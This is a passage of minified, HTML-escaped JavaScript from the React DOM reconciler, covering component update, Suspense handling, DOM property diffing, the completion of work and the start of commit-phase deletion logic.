fe.componentDidUpdate!=&quot;function&quot;||ke===f.memoizedProps&amp;&amp;Yt===f.memoizedState||(m.flags|=4),typeof fe.getSnapshotBeforeUpdate!=&quot;function&quot;||ke===f.memoizedProps&amp;&amp;Yt===f.memoizedState||(m.flags|=1024),m.memoizedProps=k,m.memoizedState=Fr),fe.props=k,fe.state=Fr,fe.context=Ue,k=At):(typeof fe.componentDidUpdate!=&quot;function&quot;||ke===f.memoizedProps&amp;&amp;Yt===f.memoizedState||(m.flags|=4),typeof fe.getSnapshotBeforeUpdate!=&quot;function&quot;||ke===f.memoizedProps&amp;&amp;Yt===f.memoizedState||(m.flags|=1024),k=!1)}return zu(f,m,b,k,K,z)}function zu(f,m,b,k,z,K){pA(f,m);var fe=(m.flags&amp;128)!==0;if(!k&amp;&amp;!fe)return z&amp;&amp;F(m,b,!1),se(f,m,K);k=m.stateNode,Ad.current=m;var ke=fe&amp;&amp;typeof b.getDerivedStateFromError!=&quot;function&quot;?null:k.render();return m.flags|=1,f!==null&amp;&amp;fe?(m.child=yl(m,f.child,null,K),m.child=yl(m,null,ke,K)):ea(f,m,ke,K),m.memoizedState=k.state,z&amp;&amp;F(m,b,!0),m.child}function Bp(f){var m=f.stateNode;m.pendingContext?tA(f,m.pendingContext,m.pendingContext!==m.context):m.context&amp;&amp;tA(f,m.context,!1),yp(f,m.containerInfo)}function xd(f,m,b,k,z){return Ih(),xp(z),m.flags|=256,ea(f,m,b,k),m.child}var kf={dehydrated:null,treeContext:null,retryLane:0};function kp(f){return{baseLanes:f,cachePool:null,transitions:null}}function gA(f,m,b){var k=m.pendingProps,z=Pi.current,K=!1,fe=(m.flags&amp;128)!==0,ke;if((ke=fe)||(ke=f!==null&amp;&amp;f.memoizedState===null?!1:(z&amp;2)!==0),ke?(K=!0,m.flags&amp;=-129):(f===null||f.memoizedState!==null)&amp;&amp;(z|=1),vi(Pi,z&amp;1),f===null)return fd(m),f=m.memoizedState,f!==null&amp;&amp;(f=f.dehydrated,f!==null)?((m.mode&amp;1)===0?m.lanes=1:f.data===&quot;$!&quot;?m.lanes=8:m.lanes=1073741824,null):(fe=k.children,f=k.fallback,K?(k=m.mode,K=m.child,fe={mode:&quot;hidden&quot;,children:fe},(k&amp;1)===0&amp;&amp;K!==null?(K.childLanes=0,K.pendingProps=fe):K=R2(fe,k,0,null),f=Pp(f,k,b,null),K.return=m,f.return=m,K.sibling=f,m.child=K,m.child.memoizedState=kp(b),m.memoizedState=kf,f):_f(m,fe));if(z=f.memoizedState,z!==null&amp;&amp;(ke=z.dehydrated,ke!==null))return g(f,m,fe,k,ke,z,b);if(K){K=k.fallback,fe=m.mode,z=f.child,ke=z.sibling;var Ue={mode:&quot;hidden&quot;,children:k.children};return(fe&amp;1)===0&amp;&amp;m.child!==z?(k=m.child,k.childLanes=0,k.pendingProps=Ue,m.deletions=null):(k=Hh(z,Ue),k.subtreeFlags=z.subtreeFlags&amp;14680064),ke!==null?K=Hh(ke,K):(K=Pp(K,fe,b,null),K.flags|=2),K.return=m,k.return=m,k.sibling=K,m.child=k,k=K,K=m.child,fe=f.child.memoizedState,fe=fe===null?kp(b):{baseLanes:fe.baseLanes|b,cachePool:null,transitions:fe.transitions},K.memoizedState=fe,K.childLanes=f.childLanes&amp;~b,m.memoizedState=kf,k}return K=f.child,f=K.sibling,k=Hh(K,{mode:&quot;visible&quot;,children:k.children}),(m.mode&amp;1)===0&amp;&amp;(k.lanes=b),k.return=m,k.sibling=null,f!==null&amp;&amp;(b=m.deletions,b===null?(m.deletions=[f],m.flags|=16):b.push(f)),m.child=k,m.memoizedState=null,k}function _f(f,m){return m=R2({mode:&quot;visible&quot;,children:m},f.mode,0,null),m.return=f,f.child=m}function Oh(f,m,b,k){return k!==null&amp;&amp;xp(k),yl(m,f.child,null,b),f=_f(m,m.pendingProps.children),f.flags|=2,m.memoizedState=null,f}function g(f,m,b,k,z,K,fe){if(b)return m.flags&amp;256?(m.flags&amp;=-257,k=ui(Error(r(422))),Oh(f,m,fe,k)):m.memoizedState!==null?(m.child=f.child,m.flags|=128,null):(K=k.fallback,z=m.mode,k=R2({mode:&quot;visible&quot;,children:k.children},z,0,null),K=Pp(K,z,fe,null),K.flags|=2,k.return=m,K.return=m,k.sibling=K,m.child=k,(m.mode&amp;1)!==0&amp;&amp;yl(m,f.child,null,fe),m.child.memoizedState=kp(fe),m.memoizedState=kf,K);if((m.mode&amp;1)===0)return Oh(f,m,fe,null);if(z.data===&quot;$!&quot;){if(k=z.nextSibling&amp;&amp;z.nextSibling.dataset,k)var ke=k.dgst;return k=ke,K=Error(r(419)),k=ui(K,k,void 0),Oh(f,m,fe,k)}if(ke=(fe&amp;f.childLanes)!==0,No||ke){if(k=So,k!==null){switch(fe&amp;-fe){case 4:z=2;break;case 16:z=8;break;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:z=32;break;case 536870912:z=268435456;break;default:z=0}z=(z&amp;(k.suspendedLanes|fe))!==0?0:z,z!==0&amp;&amp;z!==K.retryLane&amp;&amp;(K.retryLane=z,bl(f,z),S0(k,f,z,-1))}return WC(),k=ui(Error(r(421))),Oh(f,m,fe,k)}return z.data===&quot;$?&quot;?(m.flags|=128,m.child=f.child,m=Dne.bind(null,f),z._reactRetry=m,null):(f=K.treeContext,pn=Co(z.nextSibling),Lr=m,Bn=!0,kn=null,f!==null&amp;&amp;(Xi[ys++]=mt,Xi[ys++]=ot,Xi[ys++]=is,mt=f.id,ot=f.overflow,is=m),m=_f(m,k.children),m.flags|=4096,m)}function x(f,m,b){f.lanes|=m;var k=f.alternate;k!==null&amp;&amp;(k.lanes|=m),Jo(f.return,m,b)}function D(f,m,b,k,z){var K=f.memoizedState;K===null?f.memoizedState={isBackwards:m,rendering:null,renderingStartTime:0,last:k,tail:b,tailMode:z}:(K.isBackwards=m,K.rendering=null,K.renderingStartTime=0,K.last=k,K.tail=b,K.tailMode=z)}function U(f,m,b){var k=m.pendingProps,z=k.revealOrder,K=k.tail;if(ea(f,m,k.children,b),k=Pi.current,(k&amp;2)!==0)k=k&amp;1|2,m.flags|=128;else{if(f!==null&amp;&amp;(f.flags&amp;128)!==0)e:for(f=m.child;f!==null;){if(f.tag===13)f.memoizedState!==null&amp;&amp;x(f,b,m);else if(f.tag===19)x(f,b,m);else if(f.child!==null){f.child.return=f,f=f.child;continue}if(f===m)break e;for(;f.sibling===null;){if(f.return===null||f.return===m)break e;f=f.return}f.sibling.return=f.return,f=f.sibling}k&amp;=1}if(vi(Pi,k),(m.mode&amp;1)===0)m.memoizedState=null;else switch(z){case&quot;forwards&quot;:for(b=m.child,z=null;b!==null;)f=b.alternate,f!==null&amp;&amp;Pu(f)===null&amp;&amp;(z=b),b=b.sibling;b=z,b===null?(z=m.child,m.child=null):(z=b.sibling,b.sibling=null),D(m,!1,z,b,K);break;case&quot;backwards&quot;:for(b=null,z=m.child,m.child=null;z!==null;){if(f=z.alternate,f!==null&amp;&amp;Pu(f)===null){m.child=z;break}f=z.sibling,z.sibling=b,b=z,z=f}D(m,!0,b,null,K);break;case&quot;together&quot;:D(m,!1,null,null,void 0);break;default:m.memoizedState=null}return m.child}function Z(f,m){(m.mode&amp;1)===0&amp;&amp;f!==null&amp;&amp;(f.alternate=null,m.alternate=null,m.flags|=2)}function se(f,m,b){if(f!==null&amp;&amp;(m.dependencies=f.dependencies),_p|=m.lanes,(b&amp;m.childLanes)===0)return null;if(f!==null&amp;&amp;m.child!==f.child)throw Error(r(153));if(m.child!==null){for(f=m.child,b=Hh(f,f.pendingProps),m.child=b,b.return=m;f.sibling!==null;)f=f.sibling,b=b.sibling=Hh(f,f.pendingProps),b.return=m;b.sibling=null}return m.child}function je(f,m,b){switch(m.tag){case 3:Bp(m),Ih();break;case 5:Bh(m);break;case 1:Ps(m.type)&amp;&amp;N(m);break;case 4:yp(m,m.stateNode.containerInfo);break;case 10:var k=m.type._context,z=m.memoizedProps.value;vi(rA,k._currentValue),k._currentValue=z;break;case 13:if(k=m.memoizedState,k!==null)return k.dehydrated!==null?(vi(Pi,Pi.current&amp;1),m.flags|=128,null):(b&amp;m.child.childLanes)!==0?gA(f,m,b):(vi(Pi,Pi.current&amp;1),f=se(f,m,b),f!==null?f.sibling:null);vi(Pi,Pi.current&amp;1);break;case 19:if(k=(b&amp;m.childLanes)!==0,(f.flags&amp;128)!==0){if(k)return U(f,m,b);m.flags|=128}if(z=m.memoizedState,z!==null&amp;&amp;(z.rendering=null,z.tail=null,z.lastEffect=null),vi(Pi,Pi.current),k)break;return null;case 22:case 23:return m.lanes=0,mA(f,m,b)}return se(f,m,b)}var Me,Ge,St,vr;Me=function(f,m){for(var b=m.child;b!==null;){if(b.tag===5||b.tag===6)f.appendChild(b.stateNode);else if(b.tag!==4&amp;&amp;b.child!==null){b.child.return=b,b=b.child;continue}if(b===m)break;for(;b.sibling===null;){if(b.return===null||b.return===m)return;b=b.return}b.sibling.return=b.return,b=b.sibling}},Ge=function(){},St=function(f,m,b,k){var z=f.memoizedProps;if(z!==k){f=m.stateNode,Ru(Ll.current);var K=null;switch(b){case&quot;input&quot;:z=Ke(f,z),k=Ke(f,k),K=[];break;case&quot;select&quot;:z=ne({},z,{value:void 0}),k=ne({},k,{value:void 0}),K=[];break;case&quot;textarea&quot;:z=Jt(f,z),k=Jt(f,k),K=[];break;default:typeof z.onClick!=&quot;function&quot;&amp;&amp;typeof k.onClick==&quot;function&quot;&amp;&amp;(f.onclick=b0)}Ee(b,k);var fe;b=null;for(At in z)if(!k.hasOwnProperty(At)&amp;&amp;z.hasOwnProperty(At)&amp;&amp;z[At]!=null)if(At===&quot;style&quot;){var ke=z[At];for(fe in ke)ke.hasOwnProperty(fe)&amp;&amp;(b||(b={}),b[fe]=&quot;&quot;)}else At!==&quot;dangerouslySetInnerHTML&quot;&amp;&amp;At!==&quot;children&quot;&amp;&amp;At!==&quot;suppressContentEditableWarning&quot;&amp;&amp;At!==&quot;suppressHydrationWarning&quot;&amp;&amp;At!==&quot;autoFocus&quot;&amp;&amp;(i.hasOwnProperty(At)?K||(K=[]):(K=K||[]).push(At,null));for(At in k){var Ue=k[At];if(ke=z?.[At],k.hasOwnProperty(At)&amp;&amp;Ue!==ke&amp;&amp;(Ue!=null||ke!=null))if(At===&quot;style&quot;)if(ke){for(fe in ke)!ke.hasOwnProperty(fe)||Ue&amp;&amp;Ue.hasOwnProperty(fe)||(b||(b={}),b[fe]=&quot;&quot;);for(fe in Ue)Ue.hasOwnProperty(fe)&amp;&amp;ke[fe]!==Ue[fe]&amp;&amp;(b||(b={}),b[fe]=Ue[fe])}else b||(K||(K=[]),K.push(At,b)),b=Ue;else At===&quot;dangerouslySetInnerHTML&quot;?(Ue=Ue?Ue.__html:void 0,ke=ke?ke.__html:void 0,Ue!=null&amp;&amp;ke!==Ue&amp;&amp;(K=K||[]).push(At,Ue)):At===&quot;children&quot;?typeof Ue!=&quot;string&quot;&amp;&amp;typeof Ue!=&quot;number&quot;||(K=K||[]).push(At,&quot;&quot;+Ue):At!==&quot;suppressContentEditableWarning&quot;&amp;&amp;At!==&quot;suppressHydrationWarning&quot;&amp;&amp;(i.hasOwnProperty(At)?(Ue!=null&amp;&amp;At===&quot;onScroll&quot;&amp;&amp;Ri(&quot;scroll&quot;,f),K||ke===Ue||(K=[])):(K=K||[]).push(At,Ue))}b&amp;&amp;(K=K||[]).push(&quot;style&quot;,b);var At=K;(m.updateQueue=At)&amp;&amp;(m.flags|=4)}},vr=function(f,m,b,k){b!==k&amp;&amp;(m.flags|=4)};function gr(f,m){if(!Bn)switch(f.tailMode){case&quot;hidden&quot;:m=f.tail;for(var b=null;m!==null;)m.alternate!==null&amp;&amp;(b=m),m=m.sibling;b===null?f.tail=null:b.sibling=null;break;case&quot;collapsed&quot;:b=f.tail;for(var k=null;b!==null;)b.alternate!==null&amp;&amp;(k=b),b=b.sibling;k===null?m||f.tail===null?f.tail=null:f.tail.sibling=null:k.sibling=null}}function Wt(f){var m=f.alternate!==null&amp;&amp;f.alternate.child===f.child,b=0,k=0;if(m)for(var z=f.child;z!==null;)b|=z.lanes|z.childLanes,k|=z.subtreeFlags&amp;14680064,k|=z.flags&amp;14680064,z.return=f,z=z.sibling;else for(z=f.child;z!==null;)b|=z.lanes|z.childLanes,k|=z.subtreeFlags,k|=z.flags,z.return=f,z=z.sibling;return f.subtreeFlags|=k,f.childLanes=b,m}function Qr(f,m,b){var k=m.pendingProps;switch(ci(m),m.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return Wt(m),null;case 1:return Ps(m.type)&amp;&amp;ud(),Wt(m),null;case 3:return k=m.stateNode,Gc(),ii(Rs),ii(Ts),wp(),k.pendingContext&amp;&amp;(k.context=k.pendingContext,k.pendingContext=null),(f===null||f.child===null)&amp;&amp;($c(m)?m.flags|=4:f===null||f.memoizedState.isDehydrated&amp;&amp;(m.flags&amp;256)===0||(m.flags|=1024,kn!==null&amp;&amp;(qC(kn),kn=null))),Ge(f,m),Wt(m),null;case 5:bp(m);var z=Ru(If.current);if(b=m.type,f!==null&amp;&amp;m.stateNode!=null)St(f,m,b,k,z),f.ref!==m.ref&amp;&amp;(m.flags|=512,m.flags|=2097152);else{if(!k){if(m.stateNode===null)throw Error(r(166));return Wt(m),null}if(f=Ru(Ll.current),$c(m)){k=m.stateNode,b=m.type;var K=m.memoizedProps;switch(k[Zs]=m,k[Af]=K,f=(m.mode&amp;1)!==0,b){case&quot;dialog&quot;:Ri(&quot;cancel&quot;,k),Ri(&quot;close&quot;,k);break;case&quot;iframe&quot;:case&quot;object&quot;:case&quot;embed&quot;:Ri(&quot;load&quot;,k);break;case&quot;video&quot;:case&quot;audio&quot;:for(z=0;z&lt;Fc.length;z++)Ri(Fc[z],k);break;case&quot;source&quot;:Ri(&quot;error&quot;,k);break;case&quot;img&quot;:case&quot;image&quot;:case&quot;link&quot;:Ri(&quot;error&quot;,k),Ri(&quot;load&quot;,k);break;case&quot;details&quot;:Ri(&quot;toggle&quot;,k);break;case&quot;input&quot;:tt(k,K),Ri(&quot;invalid&quot;,k);break;case&quot;select&quot;:k._wrapperState={wasMultiple:!!K.multiple},Ri(&quot;invalid&quot;,k);break;case&quot;textarea&quot;:Bt(k,K),Ri(&quot;invalid&quot;,k)}Ee(b,K),z=null;for(var fe in K)if(K.hasOwnProperty(fe)){var ke=K[fe];fe===&quot;children&quot;?typeof ke==&quot;string&quot;?k.textContent!==ke&amp;&amp;(K.suppressHydrationWarning!==!0&amp;&amp;y0(k.textContent,ke,f),z=[&quot;children&quot;,ke]):typeof ke==&quot;number&quot;&amp;&amp;k.textContent!==&quot;&quot;+ke&amp;&amp;(K.suppressHydrationWarning!==!0&amp;&amp;y0(k.textContent,ke,f),z=[&quot;children&quot;,&quot;&quot;+ke]):i.hasOwnProperty(fe)&amp;&amp;ke!=null&amp;&amp;fe===&quot;onScroll&quot;&amp;&amp;Ri(&quot;scroll&quot;,k)}switch(b){case&quot;input&quot;:be(k),Oe(k,K,!0);break;case&quot;textarea&quot;:be(k),sr(k);break;case&quot;select&quot;:case&quot;option&quot;:break;default:typeof K.onClick==&quot;function&quot;&amp;&amp;(k.onclick=b0)}k=z,m.updateQueue=k,k!==null&amp;&amp;(m.flags|=4)}else{fe=z.nodeType===9?z:z.ownerDocument,f===&quot;http://www.w3.org/1999/xhtml&quot;&amp;&amp;(f=xt(b)),f===&quot;http://www.w3.org/1999/xhtml&quot;?b===&quot;script&quot;?(f=fe.createElement(&quot;div&quot;),f.innerHTML=&quot;&lt;script&gt;&lt;\/script&gt;&quot;,f=f.removeChild(f.firstChild)):typeof k.is==&quot;string&quot;?f=fe.createElement(b,{is:k.is}):(f=fe.createElement(b),b===&quot;select&quot;&amp;&amp;(fe=f,k.multiple?fe.multiple=!0:k.size&amp;&amp;(fe.size=k.size))):f=fe.createElementNS(f,b),f[Zs]=m,f[Af]=k,Me(f,m,!1,!1),m.stateNode=f;e:{switch(fe=re(b,k),b){case&quot;dialog&quot;:Ri(&quot;cancel&quot;,f),Ri(&quot;close&quot;,f),z=k;break;case&quot;iframe&quot;:case&quot;object&quot;:case&quot;embed&quot;:Ri(&quot;load&quot;,f),z=k;break;case&quot;video&quot;:case&quot;audio&quot;:for(z=0;z&lt;Fc.length;z++)Ri(Fc[z],f);z=k;break;case&quot;source&quot;:Ri(&quot;error&quot;,f),z=k;break;case&quot;img&quot;:case&quot;image&quot;:case&quot;link&quot;:Ri(&quot;error&quot;,f),Ri(&quot;load&quot;,f),z=k;break;case&quot;details&quot;:Ri(&quot;toggle&quot;,f),z=k;break;case&quot;input&quot;:tt(f,k),z=Ke(f,k),Ri(&quot;invalid&quot;,f);break;case&quot;option&quot;:z=k;break;case&quot;select&quot;:f._wrapperState={wasMultiple:!!k.multiple},z=ne({},k,{value:void 0}),Ri(&quot;invalid&quot;,f);break;case&quot;textarea&quot;:Bt(f,k),z=Jt(f,k),Ri(&quot;invalid&quot;,f);break;default:z=k}Ee(b,z),ke=z;for(K in ke)if(ke.hasOwnProperty(K)){var Ue=ke[K];K===&quot;style&quot;?ie(f,Ue):K===&quot;dangerouslySetInnerHTML&quot;?(Ue=Ue?Ue.__html:void 0,Ue!=null&amp;&amp;ir(f,Ue)):K===&quot;children&quot;?typeof Ue==&quot;string&quot;?(b!==&quot;textarea&quot;||Ue!==&quot;&quot;)&amp;&amp;He(f,Ue):typeof Ue==&quot;number&quot;&amp;&amp;He(f,&quot;&quot;+Ue):K!==&quot;suppressContentEditableWarning&quot;&amp;&amp;K!==&quot;suppressHydrationWarning&quot;&amp;&amp;K!==&quot;autoFocus&quot;&amp;&amp;(i.hasOwnProperty(K)?Ue!=null&amp;&amp;K===&quot;onScroll&quot;&amp;&amp;Ri(&quot;scroll&quot;,f):Ue!=null&amp;&amp;S(f,K,Ue,fe))}switch(b){case&quot;input&quot;:be(f),Oe(f,k,!1);break;case&quot;textarea&quot;:be(f),sr(f);break;case&quot;option&quot;:k.value!=null&amp;&amp;f.setAttribute(&quot;value&quot;,&quot;&quot;+ve(k.value));break;case&quot;select&quot;:f.multiple=!!k.multiple,K=k.value,K!=null?gt(f,!!k.multiple,K,!1):k.defaultValue!=null&amp;&amp;gt(f,!!k.multiple,k.defaultValue,!0);break;default:typeof z.onClick==&quot;function&quot;&amp;&amp;(f.onclick=b0)}switch(b){case&quot;button&quot;:case&quot;input&quot;:case&quot;select&quot;:case&quot;textarea&quot;:k=!!k.autoFocus;break e;case&quot;img&quot;:k=!0;break e;default:k=!1}}k&amp;&amp;(m.flags|=4)}m.ref!==null&amp;&amp;(m.flags|=512,m.flags|=2097152)}return Wt(m),null;case 6:if(f&amp;&amp;m.stateNode!=null)vr(f,m,f.memoizedProps,k);else{if(typeof k!=&quot;string&quot;&amp;&amp;m.stateNode===null)throw Error(r(166));if(b=Ru(If.current),Ru(Ll.current),$c(m)){if(k=m.stateNode,b=m.memoizedProps,k[Zs]=m,(K=k.nodeValue!==b)&amp;&amp;(f=Lr,f!==null))switch(f.tag){case 3:y0(k.nodeValue,b,(f.mode&amp;1)!==0);break;case 5:f.memoizedProps.suppressHydrationWarning!==!0&amp;&amp;y0(k.nodeValue,b,(f.mode&amp;1)!==0)}K&amp;&amp;(m.flags|=4)}else k=(b.nodeType===9?b:b.ownerDocument).createTextNode(k),k[Zs]=m,m.stateNode=k}return Wt(m),null;case 13:if(ii(Pi),k=m.memoizedState,f===null||f.memoizedState!==null&amp;&amp;f.memoizedState.dehydrated!==null){if(Bn&amp;&amp;pn!==null&amp;&amp;(m.mode&amp;1)!==0&amp;&amp;(m.flags&amp;128)===0)g2(),Ih(),m.flags|=98560,K=!1;else if(K=$c(m),k!==null&amp;&amp;k.dehydrated!==null){if(f===null){if(!K)throw Error(r(318));if(K=m.memoizedState,K=K!==null?K.dehydrated:null,!K)throw Error(r(317));K[Zs]=m}else Ih(),(m.flags&amp;128)===0&amp;&amp;(m.memoizedState=null),m.flags|=4;Wt(m),K=!1}else kn!==null&amp;&amp;(qC(kn),kn=null),K=!0;if(!K)return m.flags&amp;65536?m:null}return(m.flags&amp;128)!==0?(m.lanes=b,m):(k=k!==null,k!==(f!==null&amp;&amp;f.memoizedState!==null)&amp;&amp;k&amp;&amp;(m.child.flags|=8192,(m.mode&amp;1)!==0&amp;&amp;(f===null||(Pi.current&amp;1)!==0?lo===0&amp;&amp;(lo=3):WC())),m.updateQueue!==null&amp;&amp;(m.flags|=4),Wt(m),null);case 4:return Gc(),Ge(f,m),f===null&amp;&amp;Ol(m.stateNode.containerInfo),Wt(m),null;case 10:return nA(m.type._context),Wt(m),null;case 17:return Ps(m.type)&amp;&amp;ud(),Wt(m),null;case 19:if(ii(Pi),K=m.memoizedState,K===null)return Wt(m),null;if(k=(m.flags&amp;128)!==0,fe=K.rendering,fe===null)if(k)gr(K,!1);else{if(lo!==0||f!==null&amp;&amp;(f.flags&amp;128)!==0)for(f=m.child;f!==null;){if(fe=Pu(f),fe!==null){for(m.flags|=128,gr(K,!1),k=fe.updateQueue,k!==null&amp;&amp;(m.updateQueue=k,m.flags|=4),m.subtreeFlags=0,k=b,b=m.child;b!==null;)K=b,f=k,K.flags&amp;=14680066,fe=K.alternate,fe===null?(K.childLanes=0,K.lanes=f,K.child=null,K.subtreeFlags=0,K.memoizedProps=null,K.memoizedState=null,K.updateQueue=null,K.dependencies=null,K.stateNode=null):(K.childLanes=fe.childLanes,K.lanes=fe.lanes,K.child=fe.child,K.subtreeFlags=0,K.deletions=null,K.memoizedProps=fe.memoizedProps,K.memoizedState=fe.memoizedState,K.updateQueue=fe.updateQueue,K.type=fe.type,f=fe.dependencies,K.dependencies=f===null?null:{lanes:f.lanes,firstContext:f.firstContext}),b=b.sibling;return vi(Pi,Pi.current&amp;1|2),m.child}f=f.sibling}K.tail!==null&amp;&amp;pr()&gt;xA&amp;&amp;(m.flags|=128,k=!0,gr(K,!1),m.lanes=4194304)}else{if(!k)if(f=Pu(fe),f!==null){if(m.flags|=128,k=!0,b=f.updateQueue,b!==null&amp;&amp;(m.updateQueue=b,m.flags|=4),gr(K,!0),K.tail===null&amp;&amp;K.tailMode===&quot;hidden&quot;&amp;&amp;!fe.alternate&amp;&amp;!Bn)return Wt(m),null}else 2*pr()-K.renderingStartTime&gt;xA&amp;&amp;b!==1073741824&amp;&amp;(m.flags|=128,k=!0,gr(K,!1),m.lanes=4194304);K.isBackwards?(fe.sibling=m.child,m.child=fe):(b=K.last,b!==null?b.sibling=fe:m.child=fe,K.last=fe)}return K.tail!==null?(m=K.tail,K.rendering=m,K.tail=m.sibling,K.renderingStartTime=pr(),m.sibling=null,b=Pi.current,vi(Pi,k?b&amp;1|2:b&amp;1),m):(Wt(m),null);case 22:case 23:return VC(),k=m.memoizedState!==null,f!==null&amp;&amp;f.memoizedState!==null!==k&amp;&amp;(m.flags|=8192),k&amp;&amp;(m.mode&amp;1)!==0?(tu&amp;1073741824)!==0&amp;&amp;(Wt(m),m.subtreeFlags&amp;6&amp;&amp;(m.flags|=8192)):Wt(m),null;case 24:return null;case 25:return null}throw Error(r(156,m.tag))}function Ea(f,m){switch(ci(m),m.tag){case 1:return Ps(m.type)&amp;&amp;ud(),f=m.flags,f&amp;65536?(m.flags=f&amp;-65537|128,m):null;case 3:return Gc(),ii(Rs),ii(Ts),wp(),f=m.flags,(f&amp;65536)!==0&amp;&amp;(f&amp;128)===0?(m.flags=f&amp;-65537|128,m):null;case 5:return bp(m),null;case 13:if(ii(Pi),f=m.memoizedState,f!==null&amp;&amp;f.dehydrated!==null){if(m.alternate===null)throw Error(r(340));Ih()}return f=m.flags,f&amp;65536?(m.flags=f&amp;-65537|128,m):null;case 19:return ii(Pi),null;case 4:return Gc(),null;case 10:return nA(m.type._context),null;case 22:case 23:return VC(),null;case 24:return null;default:return null}}var ut=!1,st=!1,It=typeof WeakSet==&quot;function&quot;?WeakSet:Set,ft=null;function tn(f,m){var b=f.ref;if(b!==null)if(typeof b==&quot;function&quot;)try{b(null)}catch(k){Es(f,m,k)}else b.current=null}function Fi(f,m,b){try{b()}catch(k){Es(f,m,k)}}var gn=!1;function Hn(f,m){if(Nu=sa,f=Wo(),ic(f)){if(&quot;selectionStart&quot;in f)var b={start:f.selectionStart,end:f.selectionEnd};else e:{b=(b=f.ownerDocument)&amp;&amp;b.defaultView||window;var k=b.getSelection&amp;&amp;b.getSelection();if(k&amp;&amp;k.rangeCount!==0){b=k.anchorNode;var z=k.anchorOffset,K=k.focusNode;k=k.focusOffset;try{b.nodeType,K.nodeType}catch{b=null;break e}var fe=0,ke=-1,Ue=-1,At=0,er=0,or=f,Yt=null;t:for(;;){for(var Br;or!==b||z!==0&amp;&amp;or.nodeType!==3||(ke=fe+z),or!==K||k!==0&amp;&amp;or.nodeType!==3||(Ue=fe+k),or.nodeType===3&amp;&amp;(fe+=or.nodeValue.length),(Br=or.firstChild)!==null;)Yt=or,or=Br;for(;;){if(or===f)break t;if(Yt===b&amp;&amp;++At===z&amp;&amp;(ke=fe),Yt===K&amp;&amp;++er===k&amp;&amp;(Ue=fe),(Br=or.nextSibling)!==null)break;or=Yt,Yt=or.parentNode}or=Br}b=ke===-1||Ue===-1?null:{start:ke,end:Ue}}else b=null}b=b||{start:0,end:0}}else b=null;for(cc={focusedElem:f,selectionRange:b},sa=!1,ft=m;ft!==null;)if(m=ft,f=m.child,(m.subtreeFlags&amp;1028)!==0&amp;&amp;f!==null)f.return=m,ft=f;else for(;ft!==null;){m=ft;try{var Fr=m.alternate;if((m.flags&amp;1024)!==0)switch(m.tag){case 0:case 11:case 15:break;case 1:if(Fr!==null){var Or=Fr.memoizedProps,Os=Fr.memoizedState,lt=m.stateNode,Ve=lt.getSnapshotBeforeUpdate(m.elementType===m.type?Or:Zc(m.type,Or),Os);lt.__reactInternalSnapshotBeforeUpdate=Ve}break;case 3:var ht=m.stateNode.containerInfo;ht.nodeType===1?ht.textContent=&quot;&quot;:ht.nodeType===9&amp;&amp;ht.documentElement&amp;&amp;ht.removeChild(ht.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(r(163))}}catch(mr){Es(m,m.return,mr)}if(f=m.sibling,f!==null){f.return=m.return,ft=f;break}ft=m.return}return Fr=gn,gn=!1,Fr}function di(f,m,b){var k=m.updateQueue;if(k=k!==null?k.lastEffect:null,k!==null){var z=k=k.next;do{if((z.tag&amp;f)===f){var K=z.destroy;z.destroy=void 0,K!==void 0&amp;&amp;Fi(m,b,K)}z=z.next}while(z!==k)}}function ws(f,m){if(m=m.updateQueue,m=m!==null?m.lastEffect:null,m!==null){var b=m=m.next;do{if((b.tag&amp;f)===f){var k=b.create;b.destroy=k()}b=b.next}while(b!==m)}}function ls(f){var m=f.ref;if(m!==null){var b=f.stateNode;f.tag,f=b,typeof m==&quot;function&quot;?m(f):m.current=f}}function ua(f){var m=f.alternate;m!==null&amp;&amp;(f.alternate=null,ua(m)),f.child=null,f.deletions=null,f.sibling=null,f.tag===5&amp;&amp;(m=f.stateNode,m!==null&amp;&amp;(delete m[Zs],delete m[Af],delete m[xf],delete m[gp],delete m[eA])),f.stateNode=null,f.return=null,f.dependencies=null,f.memoizedProps=null,f.memoizedState=null,f.pendingProps=null,f.stateNode=null,f.updateQueue=null}function un(f){return f.tag===5||f.tag===3||f.tag===4}function Qn(f){e:for(;;){for(;f.sibling===null;){if(f.return===null||un(f.return))return null;f=f.return}for(f.sibling.return=f.return,f=f.sibling;f.tag!==5&amp;&amp;f.tag!==6&amp;&amp;f.tag!==18;){if(f.flags&amp;2||f.child===null||f.tag===4)continue e;f.child.return=f,f=f.child}if(!(f.flags&amp;2))return f.stateNode}}function Pa(f,m,b){var k=f.tag;if(k===5||k===6)f=f.stateNode,m?b.nodeType===8?b.parentNode.insertBefore(f,m):b.insertBefore(f,m):(b.nodeType===8?(m=b.parentNode,m.insertBefore(f,b)):(m=b,m.appendChild(f)),b=b._reactRootContainer,b!=null||m.onclick!==null||(m.onclick=b0));else if(k!==4&amp;&amp;(f=f.child,f!==null))for(Pa(f,m,b),f=f.sibling;f!==null;)Pa(f,m,b),f=f.sibling}function Yn(f,m,b){var k=f.tag;if(k===5||k===6)f=f.stateNode,m?b.insertBefore(f,m):b.appendChild(f);else if(k!==4&amp;&amp;(f=f.child,f!==null))for(Yn(f,m,b),f=f.sibling;f!==null;)Yn(f,m,b),f=f.sibling}var Ca=null,eu=!1;function Lh(f,m,b){for(b=b.child;b!==null;)P_(f,m,b),b=b.sibling}function P_(f,m,b){if(oi&amp;&amp;typeof oi.onCommitFiberUnmount==&quot;function&quot;)try{oi.onCommitFiberUnmount(Ha,b)}catch{}switch(b.tag){case 5:st||tn(b,m);case 6:var k=Ca,z=eu;Ca=null,Lh(f,m,b),Ca=k,eu=z,Ca!==null&amp;&amp;(eu?(f=Ca,b=b.stateNode,f.nodeType===8?f.parentNode.removeChild(b):f.removeChild(b)):Ca.removeChild(b.stateNode));break;case 18:Ca!==null&amp;&amp;(eu?(f=Ca,b=b.stateNode,f.nodeType===8?cd(f.parentNode,b):f.nodeType===1&amp;&amp;cd(f,b),tc(f)):cd(Ca,b.stateNode));break;case 4:k=Ca,z=eu,Ca=b.stateNode.containerInfo,eu=!0,Lh(f,m,b),Ca=k,eu=z;break;case 0:case 11:case 14:case 15:if(!st&amp;&amp;(k=b.updateQueue,k!==null&amp;&amp;(k=k.lastEffect,k!==null))){z=k=k.next;do{var K=z,fe=K.destroy;K=K.tag,fe!==void 